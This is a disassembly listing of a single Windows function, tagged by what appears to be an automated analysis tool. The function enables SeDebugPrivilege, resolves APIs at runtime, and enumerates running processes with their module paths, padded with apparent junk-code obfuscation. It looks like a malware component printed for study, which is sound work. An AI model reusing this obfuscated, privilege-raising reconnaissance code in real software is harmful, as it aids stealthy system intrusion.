Function at 0x1000f8f0
Capabilities:
Acquire debug privileges
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.LocalReAlloc
push str.KERNEL32.dll
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push str.LocalAlloc
push str.KERNEL32.dll
mov dword [ebp - 0x1c], eax
call esi
push eax
call edi
push str.LocalSize
push str.KERNEL32.dll
mov dword [ebp - 0x14], eax
call esi
push eax
call edi
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push str.Process32First
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.Process32Next
push str.KERNEL32.dll
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
xor eax, eax
mov ecx, 0x49
lea edi, [ebp - 0x154]
mov dword [ebp - 0x158], eax
mov dword [ebp - 4], eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x25b]
mov byte [ebp - 0x25c], al
push 0x30
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
call edi
push str.SeDebugPrivilege
call fcn.10012880
push 0x30
call edi
add esp, 0xc
push 0
push 2
call ebx
mov ebx, eax
push 0x30
mov dword [ebp - 0x18], ebx
call edi
add esp, 4
cmp ebx, 0xffffffff
jne 0x1000f9ee
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x400
push 0x40
mov dword [ebp - 0x158], 0x128
call dword [ebp - 0x14]
push str.PSAPI.dll
mov dword [ebp - 0x10], eax
mov byte [eax], 0x7d
mov dword [ebp - 0xc], 1
call esi
mov dword [ebp - 0x14], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov eax, dword [ebp - 0x14]
add esp, 4
push str.EnumProcessModules
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [ebp - 0x14]
add esp, 4
push str.GetModuleFileNameExA
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov eax, dword [ebp - 0x18]
add esp, 4
lea edx, [ebp - 0x158]
push edx
push eax
call dword [ebp - 0x24]
test eax, eax
je 0x1000fc2e
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.OpenProcess
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x30
mov edi, eax
call esi
mov ecx, dword [ebp - 0x150]
add esp, 4
push ecx
push 0
push 0x410
call edi
push 0x30
mov edi, eax
call esi
mov eax, dword [ebp - 0x150]
add esp, 4
test eax, eax
je 0x1000fc18
cmp eax, 4
je 0x1000fc18
cmp eax, 8
je 0x1000fc18
push str.lstrlenA
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x30
mov ebx, eax
call esi
add esp, 4
lea edx, [ebp - 8]
lea eax, [ebp - 4]
push edx
push 4
push eax
push edi
call dword [ebp - 0x30]
push 0x30
call esi
mov edx, dword [ebp - 4]
add esp, 4
lea ecx, [ebp - 0x25c]
push 0x104
push ecx
push edx
push edi
call dword [ebp - 0x14]
push 0x30
call esi
add esp, 4
lea eax, [ebp - 0x134]
push eax
call ebx
lea ecx, [ebp - 0x25c]
mov esi, eax
push ecx
call ebx
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
lea eax, [esi + eax + 6]
push edx
lea esi, [eax + edi]
call dword [ebp - 0x2c]
cmp eax, esi
jae 0x1000fb90
mov eax, dword [ebp - 0x10]
push 0x42
push esi
push eax
call dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x150]
lea eax, [ebp - 0x134]
mov dword [edi + edx], ecx
add edi, 4
push eax
mov dword [ebp - 0xc], edi
call ebx
mov edx, dword [ebp - 0x10]
mov ecx, eax
inc ecx
lea esi, [ebp - 0x134]
mov eax, ecx
add edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x134]
push ecx
call ebx
mov edx, dword [ebp - 0xc]
lea edi, [edx + eax + 1]
lea eax, [ebp - 0x25c]
push eax
mov dword [ebp - 0xc], edi
call ebx
mov edx, dword [ebp - 0x10]
mov ecx, eax
inc ecx
lea esi, [ebp - 0x25c]
mov eax, ecx
add edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x25c]
push ecx
call ebx
mov edx, dword [ebp - 0xc]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
lea eax, [edx + eax + 1]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x158]
push ecx
push edx
call dword [ebp - 0x20]
test eax, eax
jne 0x1000fab3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push 0x42
push eax
push ecx
call dword [ebp - 0x1c]
push str.SeDebugPrivilege
mov esi, eax
call fcn.10012880
mov edx, dword [ebp - 0x18]
add esp, 4
push edx
call dword [ebp - 0x28]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret